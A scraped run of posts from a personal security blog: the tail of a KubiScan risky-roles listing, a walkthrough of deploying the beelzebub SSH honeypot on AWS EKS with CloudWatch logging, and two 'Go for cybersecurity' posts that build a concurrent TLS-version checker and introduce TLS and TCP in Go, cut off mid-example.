<span id="cb8-2"><a href="#cb8-2" aria-hidden="true" tabindex="-1"></a><span class="ex">$</span> cd KubiScan</span>
<span id="cb8-3"><a href="#cb8-3" aria-hidden="true" tabindex="-1"></a><span class="ex">$</span> ./docker_run.sh ~/.kube/config</span>
<span id="cb8-4"><a href="#cb8-4" aria-hidden="true" tabindex="-1"></a></span>
<span id="cb8-5"><a href="#cb8-5" aria-hidden="true" tabindex="-1"></a><span class="ex">$</span> kubiscan <span class="at">--risky-roles</span> <span class="co"># -r to show also rules (permissions)</span></span>
<span id="cb8-6"><a href="#cb8-6" aria-hidden="true" tabindex="-1"></a><span class="ex">...</span></span>
<span id="cb8-7"><a href="#cb8-7" aria-hidden="true" tabindex="-1"></a><span class="ex">+------------+</span></span>
<span id="cb8-8"><a href="#cb8-8" aria-hidden="true" tabindex="-1"></a><span class="kw">|</span><span class="ex">Risky</span> Roles <span class="kw">|</span></span>
<span id="cb8-9"><a href="#cb8-9" aria-hidden="true" tabindex="-1"></a><span class="ex">+----------+------+-------------+------------------------------------+-----------------------------------+</span></span>
<span id="cb8-10"><a href="#cb8-10" aria-hidden="true" tabindex="-1"></a><span class="kw">|</span> <span class="ex">Priority</span> <span class="kw">|</span> <span class="ex">Kind</span> <span class="kw">|</span> <span class="ex">Namespace</span> <span class="kw">|</span> <span class="ex">Name</span> <span class="kw">|</span> <span class="ex">Creation</span> Time <span class="kw">|</span></span>
<span id="cb8-11"><a href="#cb8-11" aria-hidden="true" tabindex="-1"></a><span class="ex">+----------+------+-------------+------------------------------------+-----------------------------------+</span></span>
<span id="cb8-12"><a href="#cb8-12" aria-hidden="true" tabindex="-1"></a><span class="kw">|</span> <span class="ex">CRITICAL</span> <span class="kw">|</span> <span class="ex">Role</span> <span class="kw">|</span> <span class="ex">default</span> <span class="kw">|</span> <span class="ex">read-secrets</span> <span class="kw">|</span> <span class="ex">Sat</span> Jan 27 16:30:21 2024 <span class="er">(</span><span class="ex">0</span> days<span class="kw">)</span> <span class="kw">|</span></span>
<span id="cb8-13"><a href="#cb8-13" aria-hidden="true" tabindex="-1"></a><span class="kw">|</span> <span class="ex">CRITICAL</span> <span class="kw">|</span> <span class="ex">Role</span> <span class="kw">|</span> <span class="ex">kube-system</span> <span class="kw">|</span> <span class="ex">system:controller:bootstrap-signer</span> <span class="kw">|</span> <span class="ex">Sat</span> Jan 27 16:21:17 2024 <span class="er">(</span><span class="ex">0</span> days<span class="kw">)</span> <span class="kw">|</span></span>
<span id="cb8-14"><a href="#cb8-14" aria-hidden="true" tabindex="-1"></a><span class="kw">|</span> <span class="ex">CRITICAL</span> <span class="kw">|</span> <span class="ex">Role</span> <span class="kw">|</span> <span class="ex">kube-system</span> <span class="kw">|</span> <span class="ex">system:controller:token-cleaner</span> <span class="kw">|</span> <span class="ex">Sat</span> Jan 27 16:21:17 2024 <span class="er">(</span><span class="ex">0</span> days<span class="kw">)</span> <span class="kw">|</span></span>
<span id="cb8-15"><a href="#cb8-15" aria-hidden="true" tabindex="-1"></a><span class="ex">+----------+------+-------------+------------------------------------+-----------------------------------+</span></span></code></pre></div>Jozef Reisingerhttp://www.blogger.com/profile/14576923281870473738noreply@blogger.com0tag:blogger.com,1999:blog-5941925182752004070.post-10532560738361955182024-01-19T15:30:00.003+01:002024-03-15T15:54:32.818+01:00Playing with beelzebub<img
src="https://github.com/jreisinger/docs/assets/1047259/ec351b9c-cc23-4d15-9aa8-bd70bfe92a02"
alt="image" />
<p>While looking for a new project to hone my skills I came across the
beelzebub. Wikipedia says Beelzebub, occasionally known as the Lord of
the Flies, was a Philistine god and later a major demon for some
Abrahamic religions. In this case it’s a <a
href="https://en.wikipedia.org/wiki/Honeypot_(computing)">honeypot</a>
written in Go :-).</p>
<p>My plan was something like:</p>
<ol type="1">
<li>Create a Kubernetes cluster on AWS using the EKS service</li>
<li>Deploy the honeypot into the cluster</li>
<li>Setup logs collection to see what’s going on</li>
<li>Expose the honeypot to a dangerous network, like the Internet, and
wait</li>
</ol>
<h2 id="create-a-kubernetes-cluster">Create a Kubernetes cluster</h2>
<p>Once I have <a
href="https://docs.aws.amazon.com/eks/latest/userguide/setting-up.html">set
up</a> my access to AWS and installed all the necessary tools, the
easiest way to create a Kubernetes cluster seemed to be this:</p>
<pre><code>eksctl create cluster --name beelzebub-cluster --region eu-central-1</code></pre>
<p>It took about 15 minutes but went smoothly.</p>
<h2 id="deploy-the-honeypot-into-the-cluster">Deploy the honeypot into
the cluster</h2>
<p>Next, I just cloned the <a
href="https://github.com/mariocandela/beelzebub/">beelzebub</a> repo and
created the Kubernetes resources from within the repo:</p>
<pre><code>helm install beelzebub ./beelzebub-chart</code></pre>
<h2 id="setup-logs-collection">Setup logs collection</h2>
<p>Now, a Kubernetes cluster provides logs from several components:</p>
<ul>
<li>control plane</li>
<li>nodes</li>
<li>applications</li>
</ul>
<p>I was most interested in the application (or container) logs. For
this I used the CloudWatch observability addon for EKS. To make it work
I needed to attach some new policies to the worker nodes role and then
create the addon.</p>
<pre><code>aws iam attach-role-policy \
--role-name <my-worker-node-role> \
--policy-arn arn:aws:iam::aws:policy/CloudWatchAgentServerPolicy \
--policy-arn arn:aws:iam::aws:policy/AWSXrayWriteOnlyAccess
aws eks create-addon --addon-name amazon-cloudwatch-observability --cluster-name beelzebub-cluster</code></pre>
<h2 id="expose-the-honeypot-to-the-internet">Expose the honeypot to the
Internet</h2>
<p>Then, I created a Kubernetes service of type LoadBalancer:</p>
<pre><code>kubernetes expose deployment beelzebub-beelzebub-chart --name beelzebub-public --type LoadBalancer --port 22 --target-port 2222</code></pre>
<p>I had to wait for a bit so the load balancer is set up. I opened the
CloudWatch Logs Insights, selected the
<code>/aws/containerinsights/beelzebub-cluster/application</code> log
group and entered the following query:</p>
<pre><code>filter kubernetes.pod_name="beelzebub-beelzebub-chart-b86c7dff8-59ldz"
| fields @timestamp, log_processed.event.Msg, log_processed.event.User, log_processed.event.Password, log_processed.event.Command, log_processed.event.CommandOutput
| sort @timestamp desc
| limit 20</code></pre>
<p>To make sure everything is working, I logged into the honeypot and
observed the logs (it takes a while until the logs get to the
CloudWatch):</p>
<pre><code>ssh root@<some-string>.elb.eu-central-1.amazonaws.com ls -la
# obviously, the default password is root :-)</code></pre>
<figure>
<img
src="https://github.com/jreisinger/docs/assets/1047259/18b6f3e2-05d5-4612-8ba7-41b96f4deecc"
alt="image" />
<figcaption aria-hidden="true">image</figcaption>
</figure>
<h2 id="clean-up">Clean up</h2>
<p>Once I was done, I removed the cluster (and all of its workloads and
related AWS services):</p>
<pre><code>eksctl delete cluster --name beelzebub-cluster --region eu-central-1</code></pre>
<p>You might also want to delete the related CloudWatch Log groups.</p>Jozef Reisingerhttp://www.blogger.com/profile/14576923281870473738noreply@blogger.com1tag:blogger.com,1999:blog-5941925182752004070.post-22604033777002797842023-09-27T13:18:00.005+02:002024-02-24T15:17:50.803+01:00Go for cybersecurity - tools<p>After getting a basic idea of what TLS is in the <a
href="https://jreisinger.blogspot.com/2023/09/go-for-cybersecurity-learning.html">previous
post</a>, let’s write a tool the will help us finding out the TLS
version of a server.</p>
<p>NOTE: You can read this post also on <a
href="https://github.com/jreisinger/docs/blob/master/blog/gosec/2023-09-27-go-for-cybersecurity-tools.md">github</a>.</p>
<p>The first idea might be to range over the arguments that should be
TCP addresses. For each address we’ll get and print the TLS version. We
might start with a pseudo-code like:</p>
<pre><code>for all IP addresses supplied as CLI arguments:
get the the TLS version</code></pre>
<p>This look simple enough to implement:</p>
<div class="sourceCode" id="cb2"><pre class="sourceCode go"><code class="sourceCode go"><span id="cb2-1"><a href="#cb2-1" aria-hidden="true" tabindex="-1"></a><span class="kw">package</span> main</span>
<span id="cb2-2"><a href="#cb2-2" aria-hidden="true" tabindex="-1"></a></span>
<span id="cb2-3"><a href="#cb2-3" aria-hidden="true" tabindex="-1"></a><span class="kw">import</span> <span class="op">(</span></span>
<span id="cb2-4"><a href="#cb2-4" aria-hidden="true" tabindex="-1"></a> <span class="st">"crypto/tls"</span></span>
<span id="cb2-5"><a href="#cb2-5" aria-hidden="true" tabindex="-1"></a> <span class="st">"fmt"</span></span>
<span id="cb2-6"><a href="#cb2-6" aria-hidden="true" tabindex="-1"></a> <span class="st">"os"</span></span>
<span id="cb2-7"><a href="#cb2-7" aria-hidden="true" tabindex="-1"></a><span class="op">)</span></span>
<span id="cb2-8"><a href="#cb2-8" aria-hidden="true" tabindex="-1"></a></span>
<span id="cb2-9"><a href="#cb2-9" aria-hidden="true" tabindex="-1"></a><span class="kw">func</span> main<span class="op">()</span> <span class="op">{</span></span>
<span id="cb2-10"><a href="#cb2-10" aria-hidden="true" tabindex="-1"></a> <span class="cf">for</span> _<span class="op">,</span> addr <span class="op">:=</span> <span class="kw">range</span> os<span class="op">.</span>Args<span class="op">[</span><span class="dv">1</span><span class="op">:]</span> <span class="op">{</span></span>
<span id="cb2-11"><a href="#cb2-11" aria-hidden="true" tabindex="-1"></a> ver<span class="op">,</span> err <span class="op">:=</span> getTLSVersion<span class="op">(</span>addr<span class="op">)</span></span>
<span id="cb2-12"><a href="#cb2-12" aria-hidden="true" tabindex="-1"></a> <span class="cf">if</span> err <span class="op">!=</span> <span class="ot">nil</span> <span class="op">{</span></span>
<span id="cb2-13"><a href="#cb2-13" aria-hidden="true" tabindex="-1"></a> fmt<span class="op">.</span>Fprintf<span class="op">(</span>os<span class="op">.</span>Stderr<span class="op">,</span> <span class="st">"tlsver: %v"</span><span class="op">,</span> err<span class="op">)</span></span>
<span id="cb2-14"><a href="#cb2-14" aria-hidden="true" tabindex="-1"></a> <span class="cf">continue</span></span>
<span id="cb2-15"><a href="#cb2-15" aria-hidden="true" tabindex="-1"></a> <span class="op">}</span></span>
<span id="cb2-16"><a href="#cb2-16" aria-hidden="true" tabindex="-1"></a> fmt<span class="op">.</span>Printf<span class="op">(</span><span class="st">"%s</span><span class="ch">\t</span><span class="st">%s</span><span class="ch">\n</span><span class="st">"</span><span class="op">,</span> ver<span class="op">,</span> addr<span class="op">)</span></span>
<span id="cb2-17"><a href="#cb2-17" aria-hidden="true" tabindex="-1"></a> <span class="op">}</span></span>
<span id="cb2-18"><a href="#cb2-18" aria-hidden="true" tabindex="-1"></a><span class="op">}</span></span></code></pre></div>
<p>Now we need to write the GetTLSVersion function. Fortunately there’s
the standard library package <a
href="https://pkg.go.dev/crypto/tls">tls</a>:</p>
<div class="sourceCode" id="cb3"><pre class="sourceCode go"><code class="sourceCode go"><span id="cb3-1"><a href="#cb3-1" aria-hidden="true" tabindex="-1"></a><span class="kw">func</span> getTLSVersion<span class="op">(</span>addr <span class="dt">string</span><span class="op">)</span> <span class="op">(</span><span class="dt">string</span><span class="op">,</span> <span class="dt">error</span><span class="op">)</span> <span class="op">{</span></span>
<span id="cb3-2"><a href="#cb3-2" aria-hidden="true" tabindex="-1"></a> conn<span class="op">,</span> err <span class="op">:=</span> tls<span class="op">.</span>Dial<span class="op">(</span><span class="st">"tcp"</span><span class="op">,</span> addr<span class="op">,</span> <span class="op">&</span>tls<span class="op">.</span>Config<span class="op">{</span>InsecureSkipVerify<span class="op">:</span> <span class="ot">true</span><span class="op">})</span></span>
<span id="cb3-3"><a href="#cb3-3" aria-hidden="true" tabindex="-1"></a> <span class="cf">if</span> err <span class="op">!=</span> <span class="ot">nil</span> <span class="op">{</span></span>
<span id="cb3-4"><a href="#cb3-4" aria-hidden="true" tabindex="-1"></a> <span class="cf">return</span> <span class="st">""</span><span class="op">,</span> err</span>
<span id="cb3-5"><a href="#cb3-5" aria-hidden="true" tabindex="-1"></a> <span class="op">}</span></span>
<span id="cb3-6"><a href="#cb3-6" aria-hidden="true" tabindex="-1"></a> <span class="cf">defer</span> conn<span class="op">.</span>Close<span class="op">()</span></span>
<span id="cb3-7"><a href="#cb3-7" aria-hidden="true" tabindex="-1"></a> <span class="cf">return</span> tls<span class="op">.</span>VersionName<span class="op">(</span>conn<span class="op">.</span>ConnectionState<span class="op">().</span>Version<span class="op">),</span> <span class="ot">nil</span></span>
<span id="cb3-8"><a href="#cb3-8" aria-hidden="true" tabindex="-1"></a><span class="op">}</span></span></code></pre></div>
<p>Let’s run the program (saved under filename
<code>tlsver.go</code>):</p>
<div class="sourceCode" id="cb4"><pre class="sourceCode sh"><code class="sourceCode bash"><span id="cb4-1"><a href="#cb4-1" aria-hidden="true" tabindex="-1"></a><span class="ex">$</span> go run tlsver/1/tlsver.go example.com:443 example.net:443 wall.org:443</span>
<span id="cb4-2"><a href="#cb4-2" aria-hidden="true" tabindex="-1"></a><span class="ex">TLS</span> 1.3 example.com:443</span>
<span id="cb4-3"><a href="#cb4-3" aria-hidden="true" tabindex="-1"></a><span class="ex">TLS</span> 1.3 example.net:443</span>
<span id="cb4-4"><a href="#cb4-4" aria-hidden="true" tabindex="-1"></a><span class="ex">TLS</span> 1.2 wall.org:443</span></code></pre></div>
<p>As you can see, Larry is a bit behind :-).</p>
<p>See the whole program at <a
href="https://github.com/jreisinger/docs/tree/master/blog/gosec/tlsver/1">https://github.com/jreisinger/docs/blog/gosec/tlsver/1</a>.</p>
<h1 id="adding-concurrency">Adding concurrency</h1>
<p>The code above works fine. But imagine that we want to check the TLS
version of a thousand hosts. Connecting to the hosts one after another
might take some time. Concurrency means organizing the program in a way
that multiple processes can execute independently. Even at the same time
if you have multiple processors (which you most certainly do nowadays).
Go has an excellent support for doing this.</p>
<p>Basically we want to run the getTLSVersion function and forget about.
Then run the next one and forget about it (like when you background a
shell command with <code>&</code>). And so on. Obviously we need to
feed some input (function parameters) into the function and collect its
output (return values). We use <code>in</code> and <code>out</code>
channels for this. The channels are like typed shell pipes
(<code>$ ls | wc -l</code>). The type in our case is <code>host</code> -
it holds all the necessary information. When we fire up goroutines we
usually don’t want to allow for an unlimited number of them because we
might exhaust computing resources (like open sockets or file
descriptors). So we run only 30 goroutines. We also want to know when
the goroutines are done. For this we use the <code>WaitGroup</code>,
which is kind of a concurrency-safe counter.</p>
<div class="sourceCode" id="cb5"><pre class="sourceCode go"><code class="sourceCode go"><span id="cb5-1"><a href="#cb5-1" aria-hidden="true" tabindex="-1"></a><span class="kw">type</span> host <span class="kw">struct</span> <span class="op">{</span></span>
<span id="cb5-2"><a href="#cb5-2" aria-hidden="true" tabindex="-1"></a> addr <span class="dt">string</span></span>
<span id="cb5-3"><a href="#cb5-3" aria-hidden="true" tabindex="-1"></a> tlsVer <span class="dt">string</span></span>
<span id="cb5-4"><a href="#cb5-4" aria-hidden="true" tabindex="-1"></a> insecure <span class="dt">bool</span></span>
<span id="cb5-5"><a href="#cb5-5" aria-hidden="true" tabindex="-1"></a> err <span class="dt">error</span></span>
<span id="cb5-6"><a href="#cb5-6" aria-hidden="true" tabindex="-1"></a><span class="op">}</span></span>
<span id="cb5-7"><a href="#cb5-7" aria-hidden="true" tabindex="-1"></a></span>
<span id="cb5-8"><a href="#cb5-8" aria-hidden="true" tabindex="-1"></a>in <span class="op">:=</span> <span class="bu">make</span><span class="op">(</span><span class="kw">chan</span> host<span class="op">)</span></span>
<span id="cb5-9"><a href="#cb5-9" aria-hidden="true" tabindex="-1"></a>out <span class="op">:=</span> <span class="bu">make</span><span class="op">(</span><span class="kw">chan</span> host<span class="op">)</span></span>
<span id="cb5-10"><a href="#cb5-10" aria-hidden="true" tabindex="-1"></a><span class="kw">var</span> wg sync<span class="op">.</span>WaitGroup</span>
<span id="cb5-11"><a href="#cb5-11" aria-hidden="true" tabindex="-1"></a></span>
<span id="cb5-12"><a href="#cb5-12" aria-hidden="true" tabindex="-1"></a><span class="cf">for</span> i <span class="op">:=</span> <span class="dv">0</span><span class="op">;</span> i <span class="op"><</span> <span class="dv">30</span><span class="op">;</span> i<span class="op">++</span> <span class="op">{</span></span>
<span id="cb5-13"><a href="#cb5-13" aria-hidden="true" tabindex="-1"></a> wg<span class="op">.</span>Add<span class="op">(</span><span class="dv">1</span><span class="op">)</span></span>
<span id="cb5-14"><a href="#cb5-14" aria-hidden="true" tabindex="-1"></a> <span class="cf">go</span> <span class="kw">func</span><span class="op">()</span> <span class="op">{</span></span>
<span id="cb5-15"><a href="#cb5-15" aria-hidden="true" tabindex="-1"></a> <span class="cf">for</span> h <span class="op">:=</span> <span class="kw">range</span> in <span class="op">{</span></span>
<span id="cb5-16"><a href="#cb5-16" aria-hidden="true" tabindex="-1"></a> h<span class="op">.</span>tlsVer<span class="op">,</span> h<span class="op">.</span>err <span class="op">=</span> getTLSVersion<span class="op">(</span>h<span class="op">.</span>addr<span class="op">,</span> h<span class="op">.</span>insecure<span class="op">)</span></span>
<span id="cb5-17"><a href="#cb5-17" aria-hidden="true" tabindex="-1"></a> out <span class="op"><-</span> h</span>
<span id="cb5-18"><a href="#cb5-18" aria-hidden="true" tabindex="-1"></a> <span class="op">}</span></span>
<span id="cb5-19"><a href="#cb5-19" aria-hidden="true" tabindex="-1"></a> wg<span class="op">.</span>Done<span class="op">()</span></span>
<span id="cb5-20"><a href="#cb5-20" aria-hidden="true" tabindex="-1"></a> <span class="op">}()</span></span>
<span id="cb5-21"><a href="#cb5-21" aria-hidden="true" tabindex="-1"></a><span class="op">}</span></span></code></pre></div>
<p>We want to get the list of TCP addresses from command line arguments
or from standard input. We don’t want to wait (block) on the input so we
run it in a goroutine as well. When there’s no more input we close the
<code>in</code> channel and decrease the <code>WaitGroup</code>
counter.</p>
<div class="sourceCode" id="cb6"><pre class="sourceCode go"><code class="sourceCode go"><span id="cb6-1"><a href="#cb6-1" aria-hidden="true" tabindex="-1"></a><span class="cf">go</span> <span class="kw">func</span><span class="op">()</span> <span class="op">{</span></span>
<span id="cb6-2"><a href="#cb6-2" aria-hidden="true" tabindex="-1"></a> <span class="cf">if</span> <span class="bu">len</span><span class="op">(</span>flag<span class="op">.</span>Args<span class="op">())</span> <span class="op">></span> <span class="dv">0</span> <span class="op">{</span></span>
<span id="cb6-3"><a href="#cb6-3" aria-hidden="true" tabindex="-1"></a> <span class="cf">for</span> _<span class="op">,</span> addr <span class="op">:=</span> <span class="kw">range</span> flag<span class="op">.</span>Args<span class="op">()</span> <span class="op">{</span></span>
<span id="cb6-4"><a href="#cb6-4" aria-hidden="true" tabindex="-1"></a> in <span class="op"><-</span> host<span class="op">{</span>addr<span class="op">:</span> addr<span class="op">,</span> insecure<span class="op">:</span> <span class="op">*</span>insecure<span class="op">}</span></span>
<span id="cb6-5"><a href="#cb6-5" aria-hidden="true" tabindex="-1"></a> <span class="op">}</span></span>
<span id="cb6-6"><a href="#cb6-6" aria-hidden="true" tabindex="-1"></a> <span class="op">}</span> <span class="cf">else</span> <span class="op">{</span></span>
<span id="cb6-7"><a href="#cb6-7" aria-hidden="true" tabindex="-1"></a> s <span class="op">:=</span> bufio<span class="op">.</span>NewScanner<span class="op">(</span>os<span class="op">.</span>Stdin<span class="op">)</span></span>
<span id="cb6-8"><a href="#cb6-8" aria-hidden="true" tabindex="-1"></a> <span class="cf">for</span> s<span class="op">.</span>Scan<span class="op">()</span> <span class="op">{</span></span>
<span id="cb6-9"><a href="#cb6-9" aria-hidden="true" tabindex="-1"></a> in <span class="op"><-</span> host<span class="op">{</span>addr<span class="op">:</span> s<span class="op">.</span>Text<span class="op">(),</span> insecure<span class="op">:</span> <span class="op">*</span>insecure<span class="op">}</span></span>
<span id="cb6-10"><a href="#cb6-10" aria-hidden="true" tabindex="-1"></a> <span class="op">}</span></span>
<span id="cb6-11"><a href="#cb6-11" aria-hidden="true" tabindex="-1"></a> <span class="op">}</span></span>
<span id="cb6-12"><a href="#cb6-12" aria-hidden="true" tabindex="-1"></a> <span class="bu">close</span><span class="op">(</span>in<span class="op">)</span></span>
<span id="cb6-13"><a href="#cb6-13" aria-hidden="true" tabindex="-1"></a> wg<span class="op">.</span>Done<span class="op">()</span></span>
<span id="cb6-14"><a href="#cb6-14" aria-hidden="true" tabindex="-1"></a><span class="op">}()</span></span></code></pre></div>
<p>And we just print the output coming from the <code>out</code>
channel. We close the channel when the <code>WaitGroup</code> counter is
zero, i.e. all goroutines are done.</p>
<div class="sourceCode" id="cb7"><pre class="sourceCode go"><code class="sourceCode go"><span id="cb7-1"><a href="#cb7-1" aria-hidden="true" tabindex="-1"></a><span class="cf">go</span> <span class="kw">func</span><span class="op">()</span> <span class="op">{</span></span>
<span id="cb7-2"><a href="#cb7-2" aria-hidden="true" tabindex="-1"></a> wg<span class="op">.</span>Wait<span class="op">()</span></span>
<span id="cb7-3"><a href="#cb7-3" aria-hidden="true" tabindex="-1"></a> <span class="bu">close</span><span class="op">(</span>out<span class="op">)</span></span>
<span id="cb7-4"><a href="#cb7-4" aria-hidden="true" tabindex="-1"></a><span class="op">}()</span></span>
<span id="cb7-5"><a href="#cb7-5" aria-hidden="true" tabindex="-1"></a></span>
<span id="cb7-6"><a href="#cb7-6" aria-hidden="true" tabindex="-1"></a><span class="cf">for</span> h <span class="op">:=</span> <span class="kw">range</span> out <span class="op">{</span></span>
<span id="cb7-7"><a href="#cb7-7" aria-hidden="true" tabindex="-1"></a> <span class="cf">if</span> h<span class="op">.</span>err <span class="op">!=</span> <span class="ot">nil</span> <span class="op">{</span></span>
<span id="cb7-8"><a href="#cb7-8" aria-hidden="true" tabindex="-1"></a> fmt<span class="op">.</span>Fprintf<span class="op">(</span>os<span class="op">.</span>Stderr<span class="op">,</span> <span class="st">"%s: %v"</span><span class="op">,</span> h<span class="op">.</span>addr<span class="op">,</span> h<span class="op">.</span>err<span class="op">)</span></span>
<span id="cb7-9"><a href="#cb7-9" aria-hidden="true" tabindex="-1"></a> <span class="op">}</span></span>
<span id="cb7-10"><a href="#cb7-10" aria-hidden="true" tabindex="-1"></a> fmt<span class="op">.</span>Printf<span class="op">(</span><span class="st">"%s</span><span class="ch">\t</span><span class="st">%s</span><span class="ch">\n</span><span class="st">"</span><span class="op">,</span> h<span class="op">.</span>tlsVer<span class="op">,</span> h<span class="op">.</span>addr<span class="op">)</span></span>
<span id="cb7-11"><a href="#cb7-11" aria-hidden="true" tabindex="-1"></a><span class="op">}</span></span></code></pre></div>
<p>Now we can quickly check many hosts:</p>
<div class="sourceCode" id="cb8"><pre class="sourceCode sh"><code class="sourceCode bash"><span id="cb8-1"><a href="#cb8-1" aria-hidden="true" tabindex="-1"></a><span class="ex">$</span> go install tlsver/2/tlsver.go</span>
<span id="cb8-2"><a href="#cb8-2" aria-hidden="true" tabindex="-1"></a><span class="ex">$</span> cat ~/Downloads/top1000domains.txt <span class="kw">|</span> <span class="ex">tlsver</span> <span class="at">-insecure</span> <span class="at">-concurrency</span> 10</span>
<span id="cb8-3"><a href="#cb8-3" aria-hidden="true" tabindex="-1"></a><span class="ex">TLS</span> 1.3 facebook.com:443</span>
<span id="cb8-4"><a href="#cb8-4" aria-hidden="true" tabindex="-1"></a><span class="ex">TLS</span> 1.3 youtube.com:443</span>
<span id="cb8-5"><a href="#cb8-5" aria-hidden="true" tabindex="-1"></a><span class="ex">TLS</span> 1.2 bing.com:443</span>
<span id="cb8-6"><a href="#cb8-6" aria-hidden="true" tabindex="-1"></a><span class="op"><</span>...SNIP...<span class="op">></span></span></code></pre></div>
<p>See the whole program at <a
href="https://github.com/jreisinger/docs/tree/master/blog/gosec/tlsver/2">https://github.com/jreisinger/docs/blog/gosec/tlsver/2</a>.</p>
<h1 id="tips-for-designing-programs">Tips for designing programs</h1>
<p>Design iteratively. No one designs a program top to bottom in a
linear, systematic fashion.</p>
<p>Try out alternatives. Good design involves a lot of trial and error.
When you look at someone’s code, it’s finished work, not the process
they went through to get there.</p>
<p>Keep it simple. Don’t design in extra complexity until it is really
needed.</p>
<p>Solve one problem at a time, don’t be overwhelmed by everything.</p>Jozef Reisingerhttp://www.blogger.com/profile/14576923281870473738noreply@blogger.com0tag:blogger.com,1999:blog-5941925182752004070.post-66261788957051786402023-09-26T13:01:00.021+02:002024-02-24T15:17:50.804+01:00Go for cybersecurity - learning<p>I think cybersecurity practitioners should be able to program. If
they do, they can understand computer technologies better and they can
automate tasks by building tools. This is something I want to
demonstrate a bit in this post and the <a
href="https://jreisinger.blogspot.com/2023/09/go-for-cybersecurity-tools.html">next
one</a>.</p>
<p>NOTE: You can read this post also on <a
href="https://github.com/jreisinger/docs/blob/master/blog/gosec/2023-09-26-go-for-cybersecurity-learning.md">github</a>.</p>
<h2 id="but-why-go">But why Go</h2>
<p>I think no one really doubts it’s a good thing to be able to program.
But why Go and not some other language, like Python? I think you should
also learn Python and Bash and Javascript, if you can. Following are
some qualities of Go I like.</p>
<p>Simplicity. Hoare said that “There are two ways of constructing a
software design: One way is to make it so simple that there are
obviously no deficiencies and the other way is to make it so complicated
that there are no obvious deficiencies.” Go language and (many) Go
programs follow this idea. You want simplicity because there’s already
enough technological (and organizational) complexity. Simpler systems
are easier to understand and thus tend to have fewer bugs and are easier
to modify.</p>
<p>Security. Go is a relatively new language (version 1.0 was released
in 2012) built with safety and security in mind. This is not true of
languages created in the pre-Internet era that was more innocent (Python
appeared in 1991).</p>
<p>Stability. Go maintainers intend not to break Go <a
href="https://go.dev/doc/go1compat">compatibility</a> so you don’t need
to worry that the programs you write will stop working. I also think
that Go has a future because it was created and is maintained by very
experienced and skilled people (like Rob Pike, <a
href="https://github.com/ken">Ken</a> Thompson and Russ Cox). It’s an
open source language, supported by Google and used by many other big
companies, like Cloudflare or PayPal. A lot of important open source
software is written in Go, for example Kubernetes or Terraform. It has a
first class support on all cloud providers and most of the Cloud Native
Computing Foundation (CNCF) projects are written in Go.</p>
<p>Typed, cross-compiled to a single binary. If you are (as I used to
be) familiar only with dynamic scripting languages like Python or Perl,
Go will help you to really understand what are the large-scale systems
languages like. What is cool is that you can build your program to run
on any supported computer (CPU) architecture and operating system. For
example, if you are on a Mac and want to run your tool on a Linux based
Raspberry Pi:</p>
<div class="sourceCode" id="cb1"><pre class="sourceCode sh"><code class="sourceCode bash"><span id="cb1-1"><a href="#cb1-1" aria-hidden="true" tabindex="-1"></a><span class="ex">$</span> GOOS=linux GOARCH=arm64 go build mytool.go</span>
<span id="cb1-2"><a href="#cb1-2" aria-hidden="true" tabindex="-1"></a><span class="ex">$</span> scp ./mytool user@raspberry.net:</span>
<span id="cb1-3"><a href="#cb1-3" aria-hidden="true" tabindex="-1"></a><span class="ex">$</span> ssh user@raspberry.net ./mytool</span></code></pre></div>
<p>To list all supported platforms:</p>
<div class="sourceCode" id="cb2"><pre class="sourceCode sh"><code class="sourceCode bash"><span id="cb2-1"><a href="#cb2-1" aria-hidden="true" tabindex="-1"></a><span class="ex">$</span> go tool dist list</span></code></pre></div>
<h2 id="tls-version">TLS version</h2>
<p>Imagine you (or your boss :-) read <a
href="https://www.cloudflare.com/en-gb/learning/ssl/why-use-tls-1.3/">somewhere</a>
that TLS 1.2 is not fast and secure enough. Everyone should be using TLS
1.3! Are we?</p>
<p>Let’s have look. As usual we need two generic steps to solve this
puzzle. First of all we need to know what TLS is. Second of all we check
what versions are we using for our services.</p>
<h2 id="what-is-tls---learning-by-reading">What is TLS - learning by
reading</h2>
<p>TLS (Transport Layer Security), formerly known as SSL, is a protocol
to encrypt, authenticate and check the integrity of data that is
transferred over network. You can think of it as secure TCP. The
nowadays omnipresent HTTPS is an extension of HTTP that uses TLS
underneath. As you can see in the picture below in yellow, a TLS
connection is initiated via TLS handshake. (The blue stuff is the
standard three-way TCP handshake).</p>
<figure>
<img
src="https://raw.githubusercontent.com/jreisinger/docs/master/blog/gosec/tls-handshake.png"
alt="TLS handshake" />
<figcaption aria-hidden="true">TLS handshake</figcaption>
</figure>
<p>One of the things negotiated during the handshake between the client
and the server is the version of TLS to use. There are several TLS
versions. TLS 1.3 is the latest version, that also happens to be the
fastest and most secure. You should be using TLS 1.3.</p>
<figure>
<img
src="https://raw.githubusercontent.com/jreisinger/docs/master/blog/gosec/tls-versions.png"
alt="TLS versions" />
<figcaption aria-hidden="true">TLS versions</figcaption>
</figure>
<h2 id="what-is-tls---learning-by-doing">What is TLS - learning by
doing</h2>
<p>There’s a difference between knowing the path and walking the path.
Or, as <a href="https://admin.com/">Evi</a> Nemeth said: “You don’t
really understand something until you’ve implemented it”.</p>
<h3 id="tcp">TCP</h3>
<p>Let’s start with TCP because we said that TLS is kind of a secure
version of TCP. All we need to implement a TCP server and client is
inside the <a href="https://pkg.go.dev/net">net</a> standard library
package.</p>
<p>The <strong>server</strong> code has three parts: listening,
accepting and handling.</p>
<p>First we need to start listening for incoming TCP connections on some
address (host:port):</p>
<div class="sourceCode" id="cb3"><pre class="sourceCode go"><code class="sourceCode go"><span id="cb3-1"><a href="#cb3-1" aria-hidden="true" tabindex="-1"></a>ln<span class="op">,</span> err <span class="op">:=</span> net<span class="op">.</span>Listen<span class="op">(</span><span class="st">"tcp"</span><span class="op">,</span> <span class="st">"localhost:8000"</span><span class="op">)</span></span>
<span id="cb3-2"><a href="#cb3-2" aria-hidden="true" tabindex="-1"></a><span class="cf">if</span> err <span class="op">!=</span> <span class="ot">nil</span> <span class="op">{</span></span>
<span id="cb3-3"><a href="#cb3-3" aria-hidden="true" tabindex="-1"></a> log<span class="op">.</span>Fatal<span class="op">(</span>err<span class="op">)</span></span>
<span id="cb3-4"><a href="#cb3-4" aria-hidden="true" tabindex="-1"></a><span class="op">}</span></span>
<span id="cb3-5"><a href="#cb3-5" aria-hidden="true" tabindex="-1"></a><span class="cf">defer</span> ln<span class="op">.</span>Close<span class="op">()</span> <span class="co">// execute when surrounding function (main) returns</span></span></code></pre></div>
<p>Then we enter an infinite loop in which we accept and handle incoming
connections:</p>
<div class="sourceCode" id="cb4"><pre class="sourceCode go"><code class="sourceCode go"><span id="cb4-1"><a href="#cb4-1" aria-hidden="true" tabindex="-1"></a><span class="cf">for</span> <span class="op">{</span></span>
